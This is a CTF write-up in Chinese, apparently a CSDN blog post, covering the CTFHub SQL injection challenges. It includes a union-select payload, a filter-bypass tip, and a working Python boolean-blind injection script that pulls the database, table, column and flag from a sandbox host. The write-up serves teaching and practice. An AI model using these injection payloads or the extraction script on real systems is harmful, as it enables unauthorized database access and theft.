ctfhub--ctf--web--sql注入(1.数字型注入2.字符型注入3.报错注入4.布尔盲注5.时间盲注6.mysql结构)

本文详细介绍了SQL注入的多种类型,包括数字型、字符型、报错型、布尔盲注和时间盲注,并提供了Python代码示例进行实战演示。内容涵盖了数据库名、表名、字段名和字段内容的探测方法,以及如何应对空格过滤的策略。
摘要由CSDN通过智能技术生成

1.数字型注入

查看字段数,2正常回显,3回显不正常,说明有两个字段数
在这里插入图片描述在这里插入图片描述
在这里插入图片描述查看数据库
在这里插入图片描述查表
在这里插入图片描述查字段-1 union select column_name,2 from information_schema.columns where table_name='flag'--+
回显字段内容为flag

查字段内容
在这里插入图片描述

2.字符型注入

输入'闭合前面的'
在这里插入图片描述查字段数
在这里插入图片描述
在这里插入图片描述查库
在这里插入图片描述查表

在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

3.报错注入

根据报错返回的信息注入
在这里插入图片描述查库
在这里插入图片描述查表
在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

4.布尔盲注

返回提示正确或错误信息,通过此信息逐个判断库,表,字段,字段内容

import requests

url='http://challenge-479ffa751e269b95.sandbox.ctfhub.com:10800/?id=1+'

for i in range(1,5):
    urls=url+'and+length(database())='+str(i)+'--+'
    data=requests.get(urls)
    if 'query_success' in data.text:
        c=i
        print('数据库名长度为:'+str(c))
    else:
        pass

p=int(c)+1
e=''

for a in range(1,5):
    for b in 'qwertyuiopasdfghjklzxcvbnm':
        urlss=url+'and+substr(database(),'+str(a)+',1)='+'\''+str(b)+'\'' +'--+'
        d=requests.get(urlss)
        if 'query_success' in d.text:
            e=e+str(b)
        else:
            pass     
print('数据库名为:'+e)
s=str(e)
for f in range(1,10):
        urlsss=url+'and+length((select+table_name+from+information_schema.tables+where+table_schema='+'\''+s+'\''+'+limit+0,1))='+str(f)+'--+'
        da=requests.get(urlsss)
        if 'query_success' in da.text:
            g = f
            print('表名长度为:' + str(g))
        else:
            pass


w=int(g)+1
k=''
for h in range(1,w):
    for j in 'qwertyuiopasdfghjklzxcvbnm':
        urlssss=url+'and+substr(( select+table_name+from+information_schema.tables+where+table_schema='+'\''+s+'\''+'+limit+0,1),'+str(h)+',1)='+'\''+str(j)+'\''+'--+'

        dd=requests.get(urlssss)
        if 'query_success' in dd.text:
            k=k+str(j)
        else:
            pass     
print('表名为:'+k)
n=str(k)

for m in range(1,5):
    ur=url+'and+length((select+group_concat(column_name)+from+information_schema.columns+where+table_name='+'\''+n+'\''+'+limit+0,1))='+str(m)+'--+'
    ddd=requests.get(ur)
    if 'query_success' in ddd.text:
        v=m
        print('字段数为:'+str(m))
    else:
        pass

p=v+1
y=''
for r in range(1,p):
    for t in 'qwertyuiopasdfghjklzxcvbnm':
        us=url+'and+substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name='+'\''+str(n)+'\''+'+limit+0,1),'+str(r)+',1)='+'\''+str(t)+'\''+'--+'

        dt=requests.get(us)
        if 'query_success' in dt.text:
            y=y+str(t)
        else:
            pass
print('字段为:'+y)
yy=str(y)
try:
    zzz=''
    for z in range(1,100):
        for zz in '0123456789qwertyuioplkjhgfdsazxcvbnm{}':
            ul=url+'and+substr((select+'+yy+'+from+'+n+'),'+str(z)+',1)='+'\''+zz+'\''+'--+'
            dt=requests.get(ul)
            if 'query_success' in dt.text:
                zzz=zzz+str(zz)
            else:
                pass
    print(zzz)
except:
    print(z)

D:\pycharm\wenjian\venv\Scripts\python.exe D:/pycharm/wenjian/Boolean.py
数据库名长度为:4
数据库名为:sqli
表名长度为:4
表名为:flag
字段数为:4
字段为:flag
ctfhub{1a044624d95239e51725397a}

Process finished with exit code 0

5.时间盲注

使用sqlmap
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

6.mysql结构

查库
在这里插入图片描述查表
在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

7.cookie注入

查看是否为注入点,正常回显,说明存在注入点
在这里插入图片描述查库
在这里插入图片描述
查表在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

8.UA注入

查库
在这里插入图片描述查表
在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

9.Refer注入

添加referer,查库
在这里插入图片描述
查表在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

10.过滤空格

空格被过滤,可使用注释符/**/代替空格
查库
在这里插入图片描述查表
在这里插入图片描述查字段
在这里插入图片描述查字段内容
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值